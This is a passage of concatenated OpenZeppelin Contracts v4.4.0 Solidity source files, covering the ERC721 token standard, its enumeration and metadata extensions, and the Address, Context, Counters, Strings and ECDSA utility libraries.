address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 